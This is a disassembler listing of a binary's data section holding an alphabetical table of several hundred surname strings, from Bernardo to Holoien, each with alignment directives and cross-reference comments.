aBernardo db 'Bernardo',0 ; DATA XREF: .nsp0:004455B8o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .nsp0:004455BCo
align 10h
aBernston db 'Bernston',0 ; DATA XREF: .nsp0:004455C0o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .nsp0:004455C4o
align 4
aBetti db 'Betti',0 ; DATA XREF: .nsp0:004455C8o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .nsp0:004455CCo
aBiagioli db 'Biagioli',0 ; DATA XREF: .nsp0:004455D0o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .nsp0:004455D4o
align 10h
aBinion db 'Binion',0 ; DATA XREF: .nsp0:004455D8o
align 4
aBir db 'Bir',0 ; DATA XREF: .nsp0:004455DCo
aBisema db 'Bisema',0 ; DATA XREF: .nsp0:004455E0o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .nsp0:004455E4o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .nsp0:004455E8o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .nsp0:004455ECo
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .nsp0:004455F0o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .nsp0:004455F4o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .nsp0:004455F8o
align 10h
aBliss db 'Bliss',0 ; DATA XREF: .nsp0:004455FCo
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .nsp0:00445600o
aBloch db 'Bloch',0 ; DATA XREF: .nsp0:00445604o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .nsp0:00445608o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .nsp0:0044560Co
align 10h
aBloxham db 'Bloxham',0 ; DATA XREF: .nsp0:00445610o
aBlyth db 'Blyth',0 ; DATA XREF: .nsp0:00445614o
align 10h
aBolger db 'Bolger',0 ; DATA XREF: .nsp0:00445618o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .nsp0:0044561Co
align 10h
aBollinger db 'Bollinger',0 ; DATA XREF: .nsp0:00445620o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .nsp0:00445624o
aBoner_0 db 'Boner',0 ; DATA XREF: .nsp0:00445628o
align 4
aBonham db 'Bonham',0 ; DATA XREF: .nsp0:0044562Co
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .nsp0:00445630o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: .nsp0:00445634o
align 4
aBook_0 db 'Book',0 ; DATA XREF: .nsp0:00445638o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .nsp0:0044563Co
align 10h
aBoone db 'Boone',0 ; DATA XREF: .nsp0:00445640o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .nsp0:00445644o
align 4
aBorack db 'Borack',0 ; DATA XREF: .nsp0:00445648o
align 4
aBorden db 'Borden',0 ; DATA XREF: .nsp0:0044564Co
align 4
aBossi db 'Bossi',0 ; DATA XREF: .nsp0:00445650o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .nsp0:00445654o
aBotosh db 'Botosh',0 ; DATA XREF: .nsp0:00445658o
align 4
aBoudin db 'Boudin',0 ; DATA XREF: .nsp0:0044565Co
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .nsp0:00445660o
aBourneuf db 'Bourneuf',0 ; DATA XREF: .nsp0:00445664o
align 4
aBowers db 'Bowers',0 ; DATA XREF: .nsp0:00445668o
align 10h
aBoxer db 'Boxer',0 ; DATA XREF: .nsp0:0044566Co
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .nsp0:00445670o
align 4
aBoyes db 'Boyes',0 ; DATA XREF: .nsp0:00445674o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .nsp0:00445678o
aBoym db 'Boym',0 ; DATA XREF: .nsp0:0044567Co
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .nsp0:00445680o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .nsp0:00445684o
align 10h
aBradac db 'Bradac',0 ; DATA XREF: .nsp0:00445688o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .nsp0:0044568Co
aBrecht db 'Brecht',0 ; DATA XREF: .nsp0:00445690o
align 4
aBreed db 'Breed',0 ; DATA XREF: .nsp0:00445694o
align 10h
aBrenan db 'Brenan',0 ; DATA XREF: .nsp0:00445698o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .nsp0:0044569Co
aBrewer db 'Brewer',0 ; DATA XREF: .nsp0:004456A0o
align 4
aBrewer_0 db 'Brewer',0 ; DATA XREF: .nsp0:004456A4o
align 10h
aBridgeman db 'Bridgeman',0 ; DATA XREF: .nsp0:004456A8o
align 4
aBridges db 'Bridges',0 ; DATA XREF: .nsp0:004456ACo
aBrinton db 'Brinton',0 ; DATA XREF: .nsp0:004456B0o
aBritz db 'Britz',0 ; DATA XREF: .nsp0:004456B4o
align 4
aBroca db 'Broca',0 ; DATA XREF: .nsp0:004456B8o
align 4
aBrook db 'Brook',0 ; DATA XREF: .nsp0:004456BCo
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .nsp0:004456C0o
aBuchan db 'Buchan',0 ; DATA XREF: .nsp0:004456C4o
align 4
aBudding db 'Budding',0 ; DATA XREF: .nsp0:004456C8o
aBullard db 'Bullard',0 ; DATA XREF: .nsp0:004456CCo
aBunton db 'Bunton',0 ; DATA XREF: .nsp0:004456D0o
align 4
aBurden db 'Burden',0 ; DATA XREF: .nsp0:004456D4o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .nsp0:004456D8o
align 4
aBurke db 'Burke',0 ; DATA XREF: .nsp0:004456DCo
align 4
aBurridge db 'Burridge',0 ; DATA XREF: .nsp0:004456E0o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: .nsp0:004456E4o
aByatt db 'Byatt',0 ; DATA XREF: .nsp0:004456E8o
align 10h
aByerly db 'Byerly',0 ; DATA XREF: .nsp0:004456ECo
align 4
aByrd db 'Byrd',0 ; DATA XREF: .nsp0:004456F0o
align 10h
aCage db 'Cage',0 ; DATA XREF: .nsp0:004456F4o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .nsp0:004456F8o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: .nsp0:004456FCo
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .nsp0:00445700o
align 4
aCanley db 'Canley',0 ; DATA XREF: .nsp0:00445704o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: .nsp0:00445708o
aCaperton db 'Caperton',0 ; DATA XREF: .nsp0:0044570Co
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .nsp0:00445710o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .nsp0:00445714o
align 4
aCappuccio db 'Cappuccio',0 ; DATA XREF: .nsp0:00445718o
align 4
aCapursi db 'Capursi',0 ; DATA XREF: .nsp0:0044571Co
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .nsp0:00445720o
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .nsp0:00445724o
aCarlin db 'Carlin',0 ; DATA XREF: .nsp0:00445728o
align 4
aCarlos db 'Carlos',0 ; DATA XREF: .nsp0:0044572Co
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .nsp0:00445730o
aCarmichael db 'Carmichael',0 ; DATA XREF: .nsp0:00445734o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: .nsp0:00445738o
align 4
aCarper db 'Carper',0 ; DATA XREF: .nsp0:0044573Co
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: .nsp0:00445740o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .nsp0:00445744o
align 4
aCase db 'Case',0 ; DATA XREF: .nsp0:00445748o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .nsp0:0044574Co
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .nsp0:off_445750o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: .nsp0:00445754o
align 4
aCavell db 'Cavell',0 ; DATA XREF: .nsp0:00445758o
align 4
aCeniceros db 'Ceniceros',0 ; DATA XREF: .nsp0:0044575Co
align 10h
aCerioli db 'Cerioli',0 ; DATA XREF: .nsp0:00445760o
aChapman db 'Chapman',0 ; DATA XREF: .nsp0:00445764o
aCharles_0 db 'Charles',0 ; DATA XREF: .nsp0:00445768o
aCheang db 'Cheang',0 ; DATA XREF: .nsp0:0044576Co
align 10h
aCherry db 'Cherry',0 ; DATA XREF: .nsp0:00445770o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .nsp0:00445774o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .nsp0:00445778o
align 10h
aChien db 'Chien',0 ; DATA XREF: .nsp0:0044577Co
align 4
aChildress db 'Childress',0 ; DATA XREF: .nsp0:00445780o
align 4
aChilds db 'Childs',0 ; DATA XREF: .nsp0:00445784o
align 4
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .nsp0:00445788o
aChinman db 'Chinman',0 ; DATA XREF: .nsp0:0044578Co
aChristenson db 'Christenson',0 ; DATA XREF: .nsp0:00445790o
aChristian db 'Christian',0 ; DATA XREF: .nsp0:00445794o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .nsp0:00445798o
align 4
aChristie db 'Christie',0 ; DATA XREF: .nsp0:0044579Co
align 10h
aChristopher db 'Christopher',0 ; DATA XREF: .nsp0:004457A0o
aChu db 'Chu',0 ; DATA XREF: .nsp0:004457A4o
aChupasko db 'Chupasko',0 ; DATA XREF: .nsp0:004457A8o
align 4
aChurch db 'Church',0 ; DATA XREF: .nsp0:004457ACo
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .nsp0:004457B0o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: .nsp0:004457B4o
align 4
aCifarelli db 'Cifarelli',0 ; DATA XREF: .nsp0:004457B8o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .nsp0:004457BCo
aClancy db 'Clancy',0 ; DATA XREF: .nsp0:004457C0o
align 4
aClark db 'Clark',0 ; DATA XREF: .nsp0:004457C4o
align 4
aClement db 'Clement',0 ; DATA XREF: .nsp0:004457C8o
aClifton db 'Clifton',0 ; DATA XREF: .nsp0:004457CCo
aClow db 'Clow',0 ; DATA XREF: .nsp0:004457D0o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .nsp0:004457D4o
aCoito db 'Coito',0 ; DATA XREF: .nsp0:004457D8o
align 4
aColdren db 'Coldren',0 ; DATA XREF: .nsp0:004457DCo
aColella db 'Colella',0 ; DATA XREF: .nsp0:004457E0o
aCollard db 'Collard',0 ; DATA XREF: .nsp0:004457E4o
aCollis db 'Collis',0 ; DATA XREF: .nsp0:004457E8o
align 4
aCompton db 'Compton',0 ; DATA XREF: .nsp0:004457ECo
aCompton_0 db 'Compton',0 ; DATA XREF: .nsp0:004457F0o
aComstock db 'Comstock',0 ; DATA XREF: .nsp0:004457F4o
align 10h
aConcino db 'Concino',0 ; DATA XREF: .nsp0:004457F8o
aCondodina db 'Condodina',0 ; DATA XREF: .nsp0:004457FCo
align 4
aConnors db 'Connors',0 ; DATA XREF: .nsp0:00445800o
aCorey db 'Corey',0 ; DATA XREF: .nsp0:00445804o
align 4
aCornish db 'Cornish',0 ; DATA XREF: .nsp0:00445808o
aCosmides db 'Cosmides',0 ; DATA XREF: .nsp0:0044580Co
align 4
aCounter db 'Counter',0 ; DATA XREF: .nsp0:00445810o
aCoutaux db 'Coutaux',0 ; DATA XREF: .nsp0:00445814o
aCrawford db 'Crawford',0 ; DATA XREF: .nsp0:00445818o
align 4
aCrocker db 'Crocker',0 ; DATA XREF: .nsp0:0044581Co
aCroshaw db 'Croshaw',0 ; DATA XREF: .nsp0:00445820o
aCroxen db 'Croxen',0 ; DATA XREF: .nsp0:00445824o
align 4
aCroxton db 'Croxton',0 ; DATA XREF: .nsp0:00445828o
aCui db 'Cui',0 ; DATA XREF: .nsp0:0044582Co
aCurrier db 'Currier',0 ; DATA XREF: .nsp0:00445830o
aCutler db 'Cutler',0 ; DATA XREF: .nsp0:00445834o
align 4
aCvek db 'Cvek',0 ; DATA XREF: .nsp0:00445838o
align 10h
aCyders db 'Cyders',0 ; DATA XREF: .nsp0:0044583Co
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .nsp0:00445840o
aDaldalian db 'Daldalian',0 ; DATA XREF: .nsp0:00445844o
align 4
aDaly db 'Daly',0 ; DATA XREF: .nsp0:00445848o
align 4
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .nsp0:0044584Co
aDanieli db 'Danieli',0 ; DATA XREF: .nsp0:00445850o
aDante db 'Dante',0 ; DATA XREF: .nsp0:00445854o
align 4
aDapice db 'Dapice',0 ; DATA XREF: .nsp0:00445858o
align 4
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:0044585Co
aDas db 'Das',0 ; DATA XREF: .nsp0:00445860o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .nsp0:00445864o
align 10h
aDaskalu db 'Daskalu',0 ; DATA XREF: .nsp0:00445868o
aDavid db 'David',0 ; DATA XREF: .nsp0:0044586Co
align 10h
aDawkins db 'Dawkins',0 ; DATA XREF: .nsp0:00445870o
aDegennaro db 'DeGennaro',0 ; DATA XREF: .nsp0:00445874o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .nsp0:00445878o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:0044587Co
align 4
aDerousse db 'deRousse',0 ; DATA XREF: .nsp0:00445880o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .nsp0:00445884o
aDees db 'Dees',0 ; DATA XREF: .nsp0:00445888o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .nsp0:0044588Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .nsp0:00445890o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .nsp0:00445894o
align 10h
aDelger db 'Delger',0 ; DATA XREF: .nsp0:00445898o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:0044589Co
align 4
aDeming db 'Deming',0 ; DATA XREF: .nsp0:004458A0o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .nsp0:004458A4o
align 4
aDemusz db 'Demusz',0 ; DATA XREF: .nsp0:004458A8o
align 10h
aDenault db 'Denault',0 ; DATA XREF: .nsp0:004458ACo
aDenham db 'Denham',0 ; DATA XREF: .nsp0:004458B0o
align 10h
aDenison db 'Denison',0 ; DATA XREF: .nsp0:004458B4o
aDesombre db 'Desombre',0 ; DATA XREF: .nsp0:004458B8o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .nsp0:004458BCo
aDFini db 'D',27h,'fini',0 ; DATA XREF: .nsp0:004458C0o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .nsp0:004458C4o
align 4
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .nsp0:004458C8o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .nsp0:004458CCo
aDifronzo db 'Difronzo',0 ; DATA XREF: .nsp0:004458D0o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .nsp0:004458D4o
align 4
aDionysius db 'Dionysius',0 ; DATA XREF: .nsp0:004458D8o
align 4
aDirksen db 'Dirksen',0 ; DATA XREF: .nsp0:004458DCo
aDockery db 'Dockery',0 ; DATA XREF: .nsp0:004458E0o
aDoherty db 'Doherty',0 ; DATA XREF: .nsp0:004458E4o
aDonahue db 'Donahue',0 ; DATA XREF: .nsp0:004458E8o
aDonner db 'Donner',0 ; DATA XREF: .nsp0:004458ECo
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .nsp0:004458F0o
align 4
aDore db 'Dore',0 ; DATA XREF: .nsp0:004458F4o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .nsp0:004458F8o
align 4
aDosi db 'Dosi',0 ; DATA XREF: .nsp0:004458FCo
align 4
aDoty db 'Doty',0 ; DATA XREF: .nsp0:00445900o
align 4
aDoug db 'Doug',0 ; DATA XREF: .nsp0:00445904o
align 4
aDowsland db 'Dowsland',0 ; DATA XREF: .nsp0:00445908o
align 4
aDrinker db 'Drinker',0 ; DATA XREF: .nsp0:0044590Co
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .nsp0:00445910o
aDuffin db 'Duffin',0 ; DATA XREF: .nsp0:00445914o
align 10h
aDurrett db 'Durrett',0 ; DATA XREF: .nsp0:00445918o
aDussault db 'Dussault',0 ; DATA XREF: .nsp0:0044591Co
align 4
aDwyer db 'Dwyer',0 ; DATA XREF: .nsp0:00445920o
align 4
aEardley db 'Eardley',0 ; DATA XREF: .nsp0:00445924o
aEbeling db 'Ebeling',0 ; DATA XREF: .nsp0:00445928o
aEckel db 'Eckel',0 ; DATA XREF: .nsp0:0044592Co
align 4
aEdley db 'Edley',0 ; DATA XREF: .nsp0:00445930o
align 4
aEdner db 'Edner',0 ; DATA XREF: .nsp0:00445934o
align 4
aEdward db 'Edward',0 ; DATA XREF: .nsp0:00445938o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .nsp0:0044593Co
aEliasson db 'Eliasson',0 ; DATA XREF: .nsp0:00445940o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .nsp0:00445944o
align 10h
aElmerick db 'Elmerick',0 ; DATA XREF: .nsp0:00445948o
align 4
aElvis db 'Elvis',0 ; DATA XREF: .nsp0:0044594Co
align 4
aEncinas db 'Encinas',0 ; DATA XREF: .nsp0:00445950o
aEnyeart db 'Enyeart',0 ; DATA XREF: .nsp0:00445954o
aEppling db 'Eppling',0 ; DATA XREF: .nsp0:00445958o
aErbach db 'Erbach',0 ; DATA XREF: .nsp0:0044595Co
align 4
aErdman db 'Erdman',0 ; DATA XREF: .nsp0:00445960o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .nsp0:00445964o
align 4
aErez db 'Erez',0 ; DATA XREF: .nsp0:00445968o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .nsp0:0044596Co
align 4
aEstes db 'Estes',0 ; DATA XREF: .nsp0:00445970o
align 10h
aEtter db 'Etter',0 ; DATA XREF: .nsp0:00445974o
align 4
aEuripides db 'Euripides',0 ; DATA XREF: .nsp0:00445978o
align 4
aEverett db 'Everett',0 ; DATA XREF: .nsp0:0044597Co
aFabbris db 'Fabbris',0 ; DATA XREF: .nsp0:00445980o
aFagan db 'Fagan',0 ; DATA XREF: .nsp0:00445984o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .nsp0:00445988o
align 4
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .nsp0:0044598Co
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .nsp0:00445990o
aFaris db 'Faris',0 ; DATA XREF: .nsp0:00445994o
align 4
aFarone db 'Farone',0 ; DATA XREF: .nsp0:00445998o
align 4
aFarren db 'Farren',0 ; DATA XREF: .nsp0:0044599Co
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .nsp0:004459A0o
align 4
aFates db 'Fates',0 ; DATA XREF: .nsp0:004459A4o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .nsp0:004459A8o
align 10h
aFejzo db 'Fejzo',0 ; DATA XREF: .nsp0:004459ACo
align 4
aFeldman db 'Feldman',0 ; DATA XREF: .nsp0:004459B0o
aFernald db 'Fernald',0 ; DATA XREF: .nsp0:004459B4o
aFernandes db 'Fernandes',0 ; DATA XREF: .nsp0:004459B8o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .nsp0:004459BCo
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: .nsp0:004459C0o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .nsp0:004459C4o
align 4
aFido db 'Fido',0 ; DATA XREF: .nsp0:004459C8o
align 4
aField_0 db 'Field',0 ; DATA XREF: .nsp0:004459CCo
align 4
aFink db 'Fink',0 ; DATA XREF: .nsp0:004459D0o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .nsp0:004459D4o
aFinnegan db 'Finnegan',0 ; DATA XREF: .nsp0:004459D8o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .nsp0:004459DCo
aFisk db 'Fisk',0 ; DATA XREF: .nsp0:004459E0o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .nsp0:004459E4o
aFlier db 'Flier',0 ; DATA XREF: .nsp0:004459E8o
align 4
aFlores db 'Flores',0 ; DATA XREF: .nsp0:004459ECo
align 10h
aFolks db 'Folks',0 ; DATA XREF: .nsp0:004459F0o
align 4
aForester db 'Forester',0 ; DATA XREF: .nsp0:004459F4o
align 4
aFortes db 'Fortes',0 ; DATA XREF: .nsp0:004459F8o
align 4
aFortier db 'Fortier',0 ; DATA XREF: .nsp0:004459FCo
aFossey db 'Fossey',0 ; DATA XREF: .nsp0:00445A00o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .nsp0:00445A04o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .nsp0:00445A08o
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .nsp0:00445A0Co
align 10h
aFranz db 'Franz',0 ; DATA XREF: .nsp0:00445A10o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .nsp0:00445A14o
align 4
aFreid db 'Freid',0 ; DATA XREF: .nsp0:00445A18o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: .nsp0:00445A1Co
align 4
aFried db 'Fried',0 ; DATA XREF: .nsp0:00445A20o
align 4
aFriedland db 'Friedland',0 ; DATA XREF: .nsp0:00445A24o
align 10h
aFrisken db 'Frisken',0 ; DATA XREF: .nsp0:00445A28o
aFrowiss db 'Frowiss',0 ; DATA XREF: .nsp0:00445A2Co
aFryberger db 'Fryberger',0 ; DATA XREF: .nsp0:00445A30o
align 4
aFrye db 'Frye',0 ; DATA XREF: .nsp0:00445A34o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .nsp0:00445A38o
align 10h
aFuller db 'Fuller',0 ; DATA XREF: .nsp0:00445A3Co
align 4
aFurth db 'Furth',0 ; DATA XREF: .nsp0:00445A40o
align 10h
aFusaro db 'Fusaro',0 ; DATA XREF: .nsp0:00445A44o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .nsp0:00445A48o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .nsp0:00445A4Co
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: .nsp0:00445A50o
align 4
aGalwey db 'Galwey',0 ; DATA XREF: .nsp0:00445A54o
align 4
aGambini db 'Gambini',0 ; DATA XREF: .nsp0:00445A58o
aGarfield_0 db 'Garfield',0 ; DATA XREF: .nsp0:00445A5Co
align 4
aGarman db 'Garman',0 ; DATA XREF: .nsp0:00445A60o
align 10h
aGaronna db 'Garonna',0 ; DATA XREF: .nsp0:00445A64o
aGeller db 'Geller',0 ; DATA XREF: .nsp0:00445A68o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: .nsp0:00445A6Co
align 4
aGeorgi db 'Georgi',0 ; DATA XREF: .nsp0:00445A70o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .nsp0:00445A74o
aGhorai db 'Ghorai',0 ; DATA XREF: .nsp0:00445A78o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .nsp0:00445A7Co
aGibson_0 db 'Gibson',0 ; DATA XREF: .nsp0:00445A80o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .nsp0:00445A84o
aGili db 'Gili',0 ; DATA XREF: .nsp0:00445A88o
align 4
aGill db 'Gill',0 ; DATA XREF: .nsp0:00445A8Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .nsp0:00445A90o
align 4
aGist db 'Gist',0 ; DATA XREF: .nsp0:00445A94o
align 10h
aGleason db 'Gleason',0 ; DATA XREF: .nsp0:00445A98o
aGlegg db 'Glegg',0 ; DATA XREF: .nsp0:00445A9Co
align 10h
aGlendon db 'Glendon',0 ; DATA XREF: .nsp0:00445AA0o
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .nsp0:00445AA4o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .nsp0:00445AA8o
align 10h
aGood_0 db 'Good',0 ; DATA XREF: .nsp0:00445AACo
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .nsp0:00445AB0o
align 4
aGoody db 'Goody',0 ; DATA XREF: .nsp0:00445AB4o
align 4
aGozzi db 'Gozzi',0 ; DATA XREF: .nsp0:00445AB8o
align 4
aGravell db 'Gravell',0 ; DATA XREF: .nsp0:00445ABCo
aGreenberg db 'Greenberg',0 ; DATA XREF: .nsp0:00445AC0o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .nsp0:00445AC4o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .nsp0:00445AC8o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .nsp0:00445ACCo
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .nsp0:00445AD0o
align 4
aGruner db 'Gruner',0 ; DATA XREF: .nsp0:00445AD4o
align 10h
aGruppe db 'Gruppe',0 ; DATA XREF: .nsp0:00445AD8o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .nsp0:00445ADCo
align 4
aGunn db 'Gunn',0 ; DATA XREF: .nsp0:00445AE0o
align 4
aGuo db 'Guo',0 ; DATA XREF: .nsp0:00445AE4o
aHa db 'Ha',0 ; DATA XREF: .nsp0:00445AE8o
align 4
aHaar db 'Haar',0 ; DATA XREF: .nsp0:00445AECo
align 4
aHackman db 'Hackman',0 ; DATA XREF: .nsp0:00445AF0o
aHackshaw db 'Hackshaw',0 ; DATA XREF: .nsp0:00445AF4o
align 10h
aHaley db 'Haley',0 ; DATA XREF: .nsp0:00445AF8o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .nsp0:00445AFCo
aHallowell db 'Hallowell',0 ; DATA XREF: .nsp0:00445B00o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .nsp0:00445B04o
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .nsp0:00445B08o
align 4
aHamer db 'Hamer',0 ; DATA XREF: .nsp0:00445B0Co
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .nsp0:00445B10o
align 4
aHand db 'Hand',0 ; DATA XREF: .nsp0:00445B14o
align 10h
aHanssen db 'Hanssen',0 ; DATA XREF: .nsp0:00445B18o
aHarding db 'Harding',0 ; DATA XREF: .nsp0:00445B1Co
aHargraves db 'Hargraves',0 ; DATA XREF: .nsp0:00445B20o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .nsp0:00445B24o
align 4
aHarrigan db 'Harrigan',0 ; DATA XREF: .nsp0:00445B28o
align 10h
aHartman db 'Hartman',0 ; DATA XREF: .nsp0:00445B2Co
aHartmann db 'Hartmann',0 ; DATA XREF: .nsp0:00445B30o
align 4
aHartnett db 'Hartnett',0 ; DATA XREF: .nsp0:00445B34o
align 10h
aHarwell db 'Harwell',0 ; DATA XREF: .nsp0:00445B38o
aHaviaras db 'Haviaras',0 ; DATA XREF: .nsp0:00445B3Co
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .nsp0:00445B40o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .nsp0:00445B44o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .nsp0:00445B48o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .nsp0:00445B4Co
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .nsp0:00445B50o
align 4
aHeft db 'Heft',0 ; DATA XREF: .nsp0:00445B54o
align 4
aHeiland db 'Heiland',0 ; DATA XREF: .nsp0:00445B58o
aHellman db 'Hellman',0 ; DATA XREF: .nsp0:00445B5Co
aHellmiss db 'Hellmiss',0 ; DATA XREF: .nsp0:00445B60o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .nsp0:00445B64o
aHemphill db 'Hemphill',0 ; DATA XREF: .nsp0:00445B68o
align 4
aHenery db 'Henery',0 ; DATA XREF: .nsp0:00445B6Co
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .nsp0:00445B70o
align 10h
aHernandez db 'Hernandez',0 ; DATA XREF: .nsp0:00445B74o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .nsp0:00445B78o
aHester db 'Hester',0 ; DATA XREF: .nsp0:00445B7Co
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .nsp0:00445B80o
aHeyeck db 'Heyeck',0 ; DATA XREF: .nsp0:00445B84o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .nsp0:00445B88o
align 4
aHind db 'Hind',0 ; DATA XREF: .nsp0:00445B8Co
align 10h
aHirst db 'Hirst',0 ; DATA XREF: .nsp0:00445B90o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .nsp0:00445B94o
align 4
aHoang db 'Hoang',0 ; DATA XREF: .nsp0:00445B98o
align 4
aHock db 'Hock',0 ; DATA XREF: .nsp0:00445B9Co
align 4
aHoffer db 'Hoffer',0 ; DATA XREF: .nsp0:00445BA0o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .nsp0:00445BA4o
aHokanson db 'Hokanson',0 ; DATA XREF: .nsp0:00445BA8o
align 10h
aHokoda db 'Hokoda',0 ; DATA XREF: .nsp0:00445BACo
align 4
aHolmes db 'Holmes',0 ; DATA XREF: .nsp0:00445BB0o
align 10h
aHoloien db 'Holoien',0 ; DATA XREF: .nsp0:00445BB4o
